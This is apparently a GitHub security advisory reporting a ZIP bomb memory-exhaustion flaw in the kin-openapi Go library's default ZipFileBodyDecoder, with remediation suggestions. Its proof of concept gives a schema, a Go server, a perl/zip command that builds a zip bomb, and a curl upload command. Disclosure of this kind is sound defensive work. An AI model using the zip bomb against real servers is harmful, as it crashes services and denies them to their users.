GHSA-wq9g-9vfc-cfq9

### Summary When validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory. ### Details The root cause comes from the [ZipFileBodyDecoder](https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1523), which is registered [automatically](https://github.com/getkin/kin-openapi/blob/6da871e0e170b7637eb568c265c08bc2b5d6e7a3/openapi3filter/req_resp_decoder.go#L1275) by the module (contrary to what the [documentation says](https://github.com/getkin/kin-openapi?tab=readme-ov-file#custom-content-type-for-body-of-http-requestresponse). ### PoC To reproduce the vulnerability, you can use the following OpenAPI schema: ```yaml openapi: 3.0.0 info: title: 'Validator' version: 0.0.1 paths: /: post: requestBody: required: true content: multipart/form-data: schema: type: object required: - file properties: file: type: string format: binary responses: '200': description: Created ``` And this code to validate the request (nothing fancy, it basically only calls the `openapi3filter.ValidateRequest` function`): ```go package main import ( "fmt" "log" "net/http" "github.com/getkin/kin-openapi/openapi3filter" legacyrouter "github.com/getkin/kin-openapi/routers/legacy" "github.com/getkin/kin-openapi/openapi3" ) func handler(w http.ResponseWriter, r *http.Request) { loader := openapi3.NewLoader() doc, err := loader.LoadFromFile("schema.yaml") if err != nil { http.Error(w, "Failed to load OpenAPI document", http.StatusInternalServerError) return } if err := doc.Validate(r.Context()); err != nil { http.Error(w, "Invalid OpenAPI document", http.StatusBadRequest) return } router, err := legacyrouter.NewRouter(doc) if err != nil { http.Error(w, "Failed to create router", http.StatusInternalServerError) return } route, pathParams, err := router.FindRoute(r) if err != nil { http.Error(w, "Failed to find route", http.StatusNotFound) return } input := &openapi3filter.RequestValidationInput{ Request: r, QueryParams: r.URL.Query(), Route: route, PathParams: pathParams, } if err := openapi3filter.ValidateRequest(r.Context(), input); err != nil { http.Error(w, fmt.Sprintf("Request validation failed: %v", err), http.StatusBadRequest) return } w.Write([]byte("request ok !")) } func main() { http.HandleFunc("/", handler) log.Fatal(http.ListenAndServe(":8080", nil)) } ``` We also need to create a zip bomb. This command will create a 4.7GB file and compress it to to 4.7MB zip archive: ```shell perl -e 'print "0" x 5000000000' > /tmp/bigfile.txt; zip -9 /tmp/bomb.zip /tmp/bigfile.txt ``` Run the PoC provided, and upload the zip bomb with `curl localhost:8080/ -F file="@/tmp/bomb.zip;type=application/zip" -v`. Observe the memory consumption of the test server during and after the upload (it jumped to a bit over 22GB in my testing, with only a 4.7MB input file, you can reduce the size of the generated file to not kill your test machine when reproducing.) ### Impact An attacker can trigger an out-of-memory (OOM) condition, leading to server crashes or degraded performance. It seems to only be exploitable if the OpenAPI schema allows for multipart upload. ### Remediation I see at least 2 potential fixes/improvements: - Do not register by default the zip file decoder (I honestly was a bit surprised to see it was enabled by default, it seems to be quite a niche use-case ?) - Update `ZipFileBodyDecoder` to enforce a maximum size of the decompressed archive and bailout as soon as it's reached (probably with a small default value and allow the users to configure it through the input options ?)